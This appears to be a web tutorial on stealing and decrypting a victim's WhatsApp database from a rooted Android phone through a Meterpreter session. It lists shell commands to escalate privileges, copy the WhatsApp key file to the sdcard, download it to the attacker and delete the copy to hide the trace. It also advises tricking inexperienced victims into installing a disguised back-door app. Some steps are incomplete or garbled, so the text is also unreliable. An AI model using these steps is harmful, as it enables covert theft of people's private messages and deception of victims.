Step 1: Exploit and Gain Access to the Android!

As explained in this guide, this phase is quite simple if the Android device is rooted by using the Meterpeter commands-

In order to Hack and Decrypt WhatsApp database the attacker need a key file that is present in the data folder, the only way to access it is having the root privileges.  The key file is indispensable to decrypt the WhatsApp database

Step 2: Download the Database

Use the following sequence of command to download the database via Meterpreter:

Step 3: Extract the Decryption Keys:

The key file necessary to decrypt the WhatsApp database stores two sets of decryption keys, the actual encryption key, K and an initialization vector called IV. WhatsApp key file is stored in a secure location.

These are the commands to extract the key file:

shell

su (For Super User access or simply escalating privileges)

As explained by F.E.A.R. this is the most difficult part, especially if the target is experienced and skilled users, because he must have installed the SuperSU application.

How to convince victims to install it?

Give a look to this tutorial published by the user bart that explains how to disguise a back-door application. The things go better is the victim is an inexperienced and unskilled users in the following cases:

• They don’t have a SuperSU application installed.
• They have not changed the setting for newly installed apps to PROMPT instead of GRANT.

Execute the following commands to access the key folder and extract the decryption key.

cd /
cd /data/data
ls
cd com.whatsapp ls
cd files
ls cp key /sdcard/Download (Means copy the file ‘key’ to sdcard>Download folder)

Step 4: Download the decryption key file in the root directory:

cd /
cd /sdcard/Download
download key
rm key (Make sure you do that to delete the key file)

Step 5: Decrypt WhatsApp database!